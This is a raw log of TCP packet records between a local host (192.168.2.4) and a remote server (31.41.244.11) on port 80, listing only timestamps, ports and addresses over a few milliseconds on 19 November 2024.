Nov 19, 2024 22:07:09.132740974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132740021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132776022 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132798910 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132812023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132823944 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132853031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132870913 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132886887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132900953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132917881 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132936954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132939100 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132961035 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132982969 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132994890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133006096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133049011 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133054972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133112907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133121014 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133131981 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133161068 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133186102 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133194923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133213997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133232117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133251905 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133256912 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133265018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133300066 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133322954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133335114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133368015 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133378029 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133419037 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133435011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133446932 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133492947 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133500099 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133527040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133559942 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133583069 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133635044 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133637905 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133670092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133686066 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133687019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133711100 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133763075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133781910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133795023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133807898 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133831978 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133862972 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133896112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133910894 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133922100 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133939028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.133960009 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.133989096 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134011030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134042025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134068012 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134097099 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134119034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134154081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134165049 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134171963 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134208918 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134219885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134242058 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134263039 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134287119 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134294033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134315014 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134344101 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134375095 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134387970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134404898 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134418964 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134466887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134486914 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134516954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134536982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134551048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134610891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134624958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134630919 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134630919 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134646893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134666920 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134700060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134704113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134744883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134754896 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134787083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134812117 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134821892 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134833097 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.134927034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.134983063 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.135020018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135104895 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.135109901 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135129929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135159016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.135186911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135206938 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.135219097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135234118 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.135293961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135370970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135404110 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.135430098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.135440111 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135487080 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.135508060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135560036 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.135595083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135623932 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135644913 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.135724068 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135771990 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.135780096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135799885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135826111 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.135859013 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.135869026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135904074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135915995 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135916948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.135948896 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135952950 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.135982037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.135998011 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.136029005 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.136049986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136081934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136104107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.136133909 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.136142969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136162043 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136185884 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136193037 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.136204958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136255980 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.136269093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136282921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136312962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136322021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.136343956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136343956 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.136379957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.136466026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136513948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.136542082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136646032 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.136785030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136835098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136847973 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.136878014 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136878967 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.136909962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.136930943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.136967897 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137001991 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137023926 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137025118 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137054920 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137073994 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137088060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137119055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137154102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137170076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137208939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137228012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137269020 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137284040 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137321949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137326002 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137378931 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137394905 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137408972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137439966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137451887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137470961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137494087 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137521029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137522936 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137562037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137600899 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137612104 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137614965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137655973 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137655973 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137701988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137710094 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137729883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137761116 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137763023 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137784004 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137814045 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137873888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137886047 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137928009 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.137943029 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137972116 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.137974977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138017893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138024092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138073921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138073921 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138107061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138117075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138132095 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138160944 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138171911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138204098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138226032 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138235092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138251066 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138300896 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138360977 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138405085 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138417006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138428926 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138451099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138462067 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138468027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138479948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138509035 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138535023 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138541937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138556957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138585091 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138605118 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138619900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138679028 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138685942 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138701916 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138732910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138750076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138778925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138791084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138791084 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138822079 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138832092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138887882 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.138900042 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138914108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.138957977 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.139009953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139040947 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139050961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139067888 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.139102936 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.139117956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139166117 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.139220953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139271021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.139309883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139360905 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.139383078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139430046 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.139481068 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139514923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139564991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.139604092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139652967 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.139669895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139724016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.139760971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139817953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.139846087 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139900923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139911890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139914989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.139971018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.139971018 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140033007 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140039921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140090942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140099049 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140145063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140147924 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140197992 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140204906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140222073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140239954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140259027 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140295982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140315056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140316010 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140335083 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140347004 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140374899 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140381098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140394926 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140410900 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140425920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140449047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140477896 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140500069 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140513897 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140542984 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140544891 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140580893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140580893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140589952 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140604019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140656948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140661001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140676022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140734911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140748978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140794992 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140836000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140847921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140851974 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140897036 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140923977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.140974045 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.140984058 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141032934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141072989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141103983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141109943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141124010 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141144037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141159058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141160965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141175985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141182899 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141190052 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141206026 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141222954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141225100 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141236067 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141249895 CET	80	49864	31.41.244.11	192.168.2.4
